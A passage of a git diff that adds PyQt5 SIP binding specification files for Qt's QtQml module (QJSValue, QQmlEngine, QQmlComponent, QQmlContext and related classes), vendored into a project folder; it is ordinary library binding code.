newQMetaObject(const QMetaObject *metaObject); +%End +%If (Qt_5_12_0 -) + QJSValue importModule(const QString &fileName); +%End +%If (Qt_5_12_0 -) + QJSValue newErrorObject(QJSValue::ErrorType errorType, const QString &message = QString()); +%End +%If (Qt_5_12_0 -) + void throwError(const QString &message); +%End +%If (Qt_5_12_0 -) + void throwError(QJSValue::ErrorType errorType, const QString &message = QString()); +%End +%If (Qt_5_14_0 -) + void setInterrupted(bool interrupted); +%End +%If (Qt_5_14_0 -) + bool isInterrupted() const; +%End +%If (Qt_5_15_0 -) + QString uiLanguage() const; +%End +%If (Qt_5_15_0 -) + void setUiLanguage(const QString &language); +%End + +signals: +%If (Qt_5_15_0 -) + void uiLanguageChanged(); +%End +}; + +%If (Qt_5_5_0 -) +QJSEngine *qjsEngine(const QObject *); +%End +%If (Qt_5_6_0 -) +QFlags operator|(QJSEngine::Extension f1, QFlags f2); +%End + +%ModuleHeaderCode +#include "qpyqml_api.h" +%End + +%PostInitialisationCode +qpyqml_post_init(sipModuleDict); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qjsvalue.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qjsvalue.sip new file mode 100644 index 00000000..efc65e0a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qjsvalue.sip @@ -0,0 +1,100 @@ +// qjsvalue.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +typedef QList QJSValueList; + +class QJSValue /TypeHintIn="Union[QJSValue, QJSValue.SpecialValue, bool, int, float, QString]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToTypeCode +if (!sipIsErr) + return qpyqml_canConvertTo_QJSValue(sipPy); + +return qpyqml_convertTo_QJSValue(sipPy, sipTransferObj, sipCppPtr, sipIsErr); +%End + +public: + enum SpecialValue + { + NullValue, + UndefinedValue, + }; + + QJSValue(QJSValue::SpecialValue value /Constrained/ = QJSValue::UndefinedValue); + QJSValue(const QJSValue &other); + ~QJSValue(); + bool isBool() const; + bool isNumber() const; + bool isNull() const; + bool isString() const; + bool isUndefined() const; + bool isVariant() const; + bool isQObject() const; + bool isObject() const; + bool isDate() const; + bool isRegExp() const; + bool isArray() const; + bool isError() const; + QString toString() const; + double toNumber() const; + qint32 toInt() const; + quint32 toUInt() const; + bool toBool() const; + QVariant toVariant() const; + QObject *toQObject() const; + QDateTime toDateTime() const; + bool equals(const QJSValue &other) const; + bool strictlyEquals(const QJSValue &other) const; + QJSValue prototype() const; + void setPrototype(const QJSValue &prototype); + QJSValue property(const QString &name) const; + void setProperty(const QString &name, const QJSValue &value); + bool hasProperty(const QString &name) const; + bool hasOwnProperty(const QString &name) const; + QJSValue property(quint32 arrayIndex) const; + void setProperty(quint32 arrayIndex, const QJSValue &value); + bool deleteProperty(const QString &name); + bool isCallable() const; + QJSValue call(const QJSValueList &args = QJSValueList()); + QJSValue callWithInstance(const QJSValue &instance, const QJSValueList &args = QJSValueList()); + QJSValue callAsConstructor(const QJSValueList &args = QJSValueList()); +%If (Qt_5_12_0 -) + + enum ErrorType + { + GenericError, + EvalError, + RangeError, + ReferenceError, + SyntaxError, + TypeError, + URIError, + }; + +%End +%If (Qt_5_12_0 -) + QJSValue::ErrorType errorType() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qjsvalueiterator.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qjsvalueiterator.sip new file mode 100644 index 00000000..e686762f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qjsvalueiterator.sip @@ -0,0 +1,39 @@ +// qjsvalueiterator.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QJSValueIterator +{ +%TypeHeaderCode +#include +%End + +public: + QJSValueIterator(const QJSValue &value); + ~QJSValueIterator(); + bool hasNext() const; + bool next(); + QString name() const; + QJSValue value() const; + +private: + QJSValueIterator(const QJSValueIterator &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qmlattachedpropertiesobject.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qmlattachedpropertiesobject.sip new file mode 100644 index 00000000..bb82213d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qmlattachedpropertiesobject.sip @@ -0,0 +1,46 @@ +// This is the SIP specification of the qmlAttachedPropertiesObject() function. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleHeaderCode +#include +%End + + +QObject *qmlAttachedPropertiesObject(SIP_PYTYPE, QObject *object, + bool create = true); +%MethodCode + QObject *proxy = qpyqml_find_proxy_for(a1); + + if (!proxy) + { + sipError = sipErrorFail; + } + else + { + static QHash cache; + + int idx = cache.value((PyTypeObject *)a0, -1); + const QMetaObject *mo = pyqt5_qtqml_get_qmetaobject((PyTypeObject *)a0); + + sipRes = qmlAttachedPropertiesObject(&idx, proxy, mo, a2); + + cache.insert((PyTypeObject *)a0, idx); + } +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qmlregistertype.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qmlregistertype.sip new file mode 100644 index 00000000..50f8a1ff --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qmlregistertype.sip @@ -0,0 +1,102 @@ +// This is the SIP specification of the qmlRegisterType() function. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleHeaderCode +#include +%End + + +%ModuleCode +// Imports from QtCore. +pyqt5_qtqml_get_qmetaobject_t pyqt5_qtqml_get_qmetaobject; +%End + + +%PostInitialisationCode +// Imports from QtCore. +pyqt5_qtqml_get_qmetaobject = (pyqt5_qtqml_get_qmetaobject_t)sipImportSymbol( + "pyqt5_get_qmetaobject"); +Q_ASSERT(pyqt5_qtqml_get_qmetaobject); +%End + + +int qmlRegisterRevision(SIP_PYTYPE, int revision, const char *uri, int major, + int minor, SIP_PYTYPE attachedProperties = 0); +%MethodCode + if ((sipRes = qpyqml_register_library_type((PyTypeObject *)a0, a2, a3, a4, 0, a1, (PyTypeObject *)a5)) < 0) + sipError = sipErrorFail; +%End + + +%If (Qt_5_2_0 -) +int qmlRegisterSingletonType(const QUrl &url, const char *uri, int major, + int minor, const char *qmlName); +%End + + +int qmlRegisterSingletonType(SIP_PYTYPE, const char *uri, int major, int minor, + const char *typeName, SIP_PYCALLABLE factory /TypeHint="Callable[[QQmlEngine, QJSEngine], Any]"/); +%MethodCode + if ((sipRes = qpyqml_register_singleton_type((PyTypeObject *)a0, a1, a2, a3, a4, a5)) < 0) + sipError = sipErrorFail; +%End + + +int qmlRegisterType(const QUrl &url, const char *uri, int major, int minor, + const char *qmlName); + + +int qmlRegisterType(SIP_PYTYPE, SIP_PYTYPE attachedProperties = 0); +%MethodCode + if ((sipRes = qpyqml_register_type((PyTypeObject *)a0, (PyTypeObject *)a1)) < 0) + sipError = sipErrorFail; +%End + + +int qmlRegisterType(SIP_PYTYPE, const char *uri, int major, int minor, + const char *qmlName, SIP_PYTYPE attachedProperties = 0); +%MethodCode + if ((sipRes = qpyqml_register_library_type((PyTypeObject *)a0, a1, a2, a3, a4, -1, (PyTypeObject *)a5)) < 0) + sipError = sipErrorFail; +%End + + +int qmlRegisterType(SIP_PYTYPE, int revision, const char *uri, int major, + int minor, const char *qmlName, SIP_PYTYPE attachedProperties = 0); +%MethodCode + if ((sipRes = qpyqml_register_library_type((PyTypeObject *)a0, a2, a3, a4, a5, a1, (PyTypeObject *)a6)) < 0) + sipError = sipErrorFail; +%End + + +int qmlRegisterUncreatableType(SIP_PYTYPE, const char *uri, int major, + int minor, const char *qmlName, const QString &reason); +%MethodCode + if ((sipRes = qpyqml_register_uncreatable_type((PyTypeObject *)a0, a1, a2, a3, a4, *a5, -1)) < 0) + sipError = sipErrorFail; +%End + + +int qmlRegisterUncreatableType(SIP_PYTYPE, int revision, const char *uri, + int major, int minor, const char *qmlName, const QString &reason); +%MethodCode + if ((sipRes = qpyqml_register_uncreatable_type((PyTypeObject *)a0, a2, a3, a4, a5, *a6, a1)) < 0) + sipError = sipErrorFail; +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qpyqmllistproperty.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qpyqmllistproperty.sip new file mode 100644 index 00000000..fca2e24b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qpyqmllistproperty.sip @@ -0,0 +1,40 @@ +// This is the SIP specification of the QQmlListProperty mapped type. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%MappedType QQmlListProperty /TypeHint="QQmlListProperty"/ +{ +%TypeHeaderCode +#include "qpyqmllistpropertywrapper.h" +%End + +%ConvertFromTypeCode + return qpyqml_QQmlListPropertyWrapper_New(sipCpp, 0); +%End + +%ConvertToTypeCode + if (sipIsErr == NULL) + return PyObject_IsInstance(sipPy, (PyObject *)qpyqml_QQmlListPropertyWrapper_TypeObject); + + *sipCppPtr = ((qpyqml_QQmlListPropertyWrapper *)sipPy)->qml_list_property; + + // It isn't a temporary copy. + return 0; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqml.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqml.sip new file mode 100644 index 00000000..549877c0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqml.sip @@ -0,0 +1,30 @@ +// qqml.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleCode +#include +%End + +void qmlClearTypeRegistrations(); +%If (Qt_5_12_0 -) +int qmlTypeId(const char *uri, int versionMajor, int versionMinor, const char *qmlName); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlabstracturlinterceptor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlabstracturlinterceptor.sip new file mode 100644 index 00000000..b776ec71 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlabstracturlinterceptor.sip @@ -0,0 +1,45 @@ +// qqmlabstracturlinterceptor.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QQmlAbstractUrlInterceptor +{ +%TypeHeaderCode +#include +%End + +public: + enum DataType + { + QmlFile, + JavaScriptFile, + QmldirFile, + UrlString, + }; + + QQmlAbstractUrlInterceptor(); + virtual ~QQmlAbstractUrlInterceptor(); + virtual QUrl intercept(const QUrl &path, QQmlAbstractUrlInterceptor::DataType type) = 0; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlapplicationengine.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlapplicationengine.sip new file mode 100644 index 00000000..02e0ed62 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlapplicationengine.sip @@ -0,0 +1,57 @@ +// qqmlapplicationengine.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QQmlApplicationEngine : QQmlEngine +{ +%TypeHeaderCode +#include +%End + +public: + QQmlApplicationEngine(QObject *parent /TransferThis/ = 0); + QQmlApplicationEngine(const QUrl &url, QObject *parent /TransferThis/ = 0) /ReleaseGIL/; + QQmlApplicationEngine(const QString &filePath, QObject *parent /TransferThis/ = 0) /ReleaseGIL/; + virtual ~QQmlApplicationEngine(); +%If (Qt_5_9_0 -) + QList rootObjects() const; +%End +%If (- Qt_5_9_0) +%If (Qt_5_15_0 -) + QList rootObjects(); +%End +%End + +public slots: + void load(const QUrl &url) /ReleaseGIL/; + void load(const QString &filePath) /ReleaseGIL/; + void loadData(const QByteArray &data, const QUrl &url = QUrl()) /ReleaseGIL/; +%If (Qt_5_14_0 -) + void setInitialProperties(const QVariantMap &initialProperties); +%End + +signals: + void objectCreated(QObject *object, const QUrl &url); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlcomponent.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlcomponent.sip new file mode 100644 index 00000000..a1be56a4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlcomponent.sip @@ -0,0 +1,85 @@ +// qqmlcomponent.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQmlComponent : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum CompilationMode + { + PreferSynchronous, + Asynchronous, + }; + + QQmlComponent(QQmlEngine *, QObject *parent /TransferThis/ = 0); + QQmlComponent(QQmlEngine *, const QString &fileName, QObject *parent /TransferThis/ = 0) /ReleaseGIL/; + QQmlComponent(QQmlEngine *, const QString &fileName, QQmlComponent::CompilationMode mode, QObject *parent /TransferThis/ = 0) /ReleaseGIL/; + QQmlComponent(QQmlEngine *, const QUrl &url, QObject *parent /TransferThis/ = 0) /ReleaseGIL/; + QQmlComponent(QQmlEngine *, const QUrl &url, QQmlComponent::CompilationMode mode, QObject *parent /TransferThis/ = 0) /ReleaseGIL/; + QQmlComponent(QObject *parent /TransferThis/ = 0); + virtual ~QQmlComponent(); + + enum Status + { + Null, + Ready, + Loading, + Error, + }; + + QQmlComponent::Status status() const; + bool isNull() const; + bool isReady() const; + bool isError() const; + bool isLoading() const; + QList errors() const; + qreal progress() const; + QUrl url() const; + virtual QObject *create(QQmlContext *context = 0) /TransferBack/; +%If (Qt_5_14_0 -) + QObject *createWithInitialProperties(const QVariantMap &initialProperties, QQmlContext *context = 0) /TransferBack/; +%End + virtual QObject *beginCreate(QQmlContext *) /TransferBack/; + virtual void completeCreate(); + void create(QQmlIncubator &, QQmlContext *context = 0, QQmlContext *forContext = 0); + QQmlContext *creationContext() const; + +public slots: + void loadUrl(const QUrl &url) /ReleaseGIL/; + void loadUrl(const QUrl &url, QQmlComponent::CompilationMode mode) /ReleaseGIL/; + void setData(const QByteArray &, const QUrl &baseUrl); + +signals: + void statusChanged(QQmlComponent::Status); + void progressChanged(qreal); + +public: +%If (Qt_5_12_0 -) + QQmlEngine *engine() const; +%End +%If (Qt_5_14_0 -) + void setInitialProperties(QObject *component, const QVariantMap &properties); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlcontext.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlcontext.sip new file mode 100644 index 00000000..d5534d20 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlcontext.sip @@ -0,0 +1,61 @@ +// qqmlcontext.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQmlContext : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QQmlContext(QQmlEngine *engine, QObject *parent /TransferThis/ = 0); + QQmlContext(QQmlContext *parentContext, QObject *parent /TransferThis/ = 0); + virtual ~QQmlContext(); + bool isValid() const; + QQmlEngine *engine() const; + QQmlContext *parentContext() const; + QObject *contextObject() const; + void setContextObject(QObject *); + QVariant contextProperty(const QString &) const; + void setContextProperty(const QString &, QObject *); + void setContextProperty(const QString &, const QVariant &); + QString nameForObject(QObject *) const; + QUrl resolvedUrl(const QUrl &); + void setBaseUrl(const QUrl &); + QUrl baseUrl() const; +%If (Qt_5_11_0 -) + + struct PropertyPair + { +%TypeHeaderCode +#include +%End + + QString name; + QVariant value; + }; + +%End +%If (Qt_5_11_0 -) + void setContextProperties(const QVector &properties); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlengine.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlengine.sip new file mode 100644 index 00000000..c800d896 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlengine.sip @@ -0,0 +1,193 @@ +// qqmlengine.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQmlImageProviderBase /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + enum ImageType + { + Image, + Pixmap, + Texture, +%If (Qt_5_6_0 -) + ImageResponse, +%End + }; + + enum Flag + { + ForceAsynchronousImageLoading, + }; + + typedef QFlags Flags; + virtual ~QQmlImageProviderBase(); + virtual QQmlImageProviderBase::ImageType imageType() const = 0; + virtual QQmlImageProviderBase::Flags flags() const = 0; + +private: + QQmlImageProviderBase(); +}; + +QFlags operator|(QQmlImageProviderBase::Flag f1, QFlags f2); + +class QQmlEngine : QJSEngine +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_6_1 -) + explicit QQmlEngine(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QQmlEngine(QObject *parent /TransferThis/ = 0); +%End + virtual ~QQmlEngine(); + QQmlContext *rootContext() const; + void clearComponentCache(); + void trimComponentCache(); + QStringList importPathList() const; + void setImportPathList(const QStringList &paths); + void addImportPath(const QString &dir); + QStringList pluginPathList() const; + void setPluginPathList(const QStringList &paths); + void addPluginPath(const QString &dir); + bool addNamedBundle(const QString &name, const QString &fileName); + bool importPlugin(const QString &filePath, const QString &uri, QList *errors /GetWrapper/); +%MethodCode + int orig_size = (a2 ? a2->size() : 0); + + sipRes = sipCpp->importPlugin(*a0, *a1, a2); + + if (a2) + { + for (int i = a2->size(); i > orig_size; --i) + { + QQmlError *new_error = new QQmlError(a2->at(i - orig_size - 1)); + PyObject *new_error_obj = sipConvertFromNewType(new_error, sipType_QQmlError, 0); + + if (!new_error_obj) + { + delete new_error; + sipError = sipErrorFail; + break; + } + + if (PyList_Insert(a2Wrapper, 0, new_error_obj) < 0) + { + Py_DECREF(new_error_obj); + sipError = sipErrorFail; + break; + } + + Py_DECREF(new_error_obj); + } + } +%End + + void setNetworkAccessManagerFactory(QQmlNetworkAccessManagerFactory * /KeepReference/); + QQmlNetworkAccessManagerFactory *networkAccessManagerFactory() const; + QNetworkAccessManager *networkAccessManager() const; + void addImageProvider(const QString &id, QQmlImageProviderBase * /Transfer/); + QQmlImageProviderBase *imageProvider(const QString &id) const; + void removeImageProvider(const QString &id); + void setIncubationController(QQmlIncubationController * /KeepReference/); + QQmlIncubationController *incubationController() const; + void setOfflineStoragePath(const QString &dir); + QString offlineStoragePath() const; + QUrl baseUrl() const; + void setBaseUrl(const QUrl &); + bool outputWarningsToStandardError() const; + void setOutputWarningsToStandardError(bool); + static QQmlContext *contextForObject(const QObject *); + static void setContextForObject(QObject *, QQmlContext *); + + enum ObjectOwnership + { + CppOwnership, + JavaScriptOwnership, + }; + + static void setObjectOwnership(QObject * /GetWrapper/, QQmlEngine::ObjectOwnership); +%MethodCode + QQmlEngine::ObjectOwnership old = QQmlEngine::objectOwnership(a0); + + QQmlEngine::setObjectOwnership(a0, a1); + + if (old != a1 && !a0->parent()) + { + if (old == QQmlEngine::CppOwnership) + sipTransferTo(a0Wrapper, Py_None); + else + sipTransferBack(a0Wrapper); + } +%End + + static QQmlEngine::ObjectOwnership objectOwnership(QObject *); + +protected: + virtual bool event(QEvent *); + +signals: + void quit(); + void warnings(const QList &warnings); +%If (Qt_5_8_0 -) + void exit(int retCode); +%End + +public: +%If (Qt_5_9_0 -) + QString offlineStorageDatabaseFilePath(const QString &databaseName) const; +%End + +public slots: +%If (Qt_5_10_0 -) + void retranslate(); +%End + +public: +%If (Qt_5_12_0 -) + SIP_PYOBJECT singletonInstance(int qmlTypeId) /TypeHint="QObject"/; +%MethodCode + QJSValue instance = sipCpp->singletonInstance(a0); + + if (instance.isQObject()) + { + sipRes = sipConvertFromType(instance.toQObject(), sipType_QObject, NULL); + + if (!sipRes) + sipError = sipErrorFail; + } + else + { + sipRes = Py_None; + Py_INCREF(sipRes); + } +%End + +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlerror.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlerror.sip new file mode 100644 index 00000000..6fa1688d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlerror.sip @@ -0,0 +1,55 @@ +// qqmlerror.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQmlError +{ +%TypeHeaderCode +#include +%End + +public: + QQmlError(); + QQmlError(const QQmlError &); + ~QQmlError(); + bool isValid() const; + QUrl url() const; + void setUrl(const QUrl &); + QString description() const; + void setDescription(const QString &); + int line() const; + void setLine(int); + int column() const; + void setColumn(int); + QString toString() const; +%If (Qt_5_2_0 -) + QObject *object() const; +%End +%If (Qt_5_2_0 -) + void setObject(QObject *); +%End +%If (Qt_5_9_0 -) + QtMsgType messageType() const; +%End +%If (Qt_5_9_0 -) + void setMessageType(QtMsgType messageType); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlexpression.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlexpression.sip new file mode 100644 index 00000000..2f34af9b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qqmlexpression.sip @@ -0,0 +1,52 @@ +// qqmlexpression.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQmlExpression : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QQmlExpression(); + QQmlExpression(QQmlContext *, QObject *, const QString &, QObject *parent /TransferThis/ = 0); + QQmlExpression(const QQmlScriptString &, QQmlContext *context = 0, QObject *scope = 0, QObject *parent /TransferThis/ = 0); + virtual ~QQmlExpression(); + QQmlEngine *engine() const; + QQmlContext *context() const; + QString expression() const; + void setExpression(const QString &); + bool notifyOnValueChanged() const; + void setNotifyOnValueChanged(bool); + QString sourceFile() const; + int lineNumber() 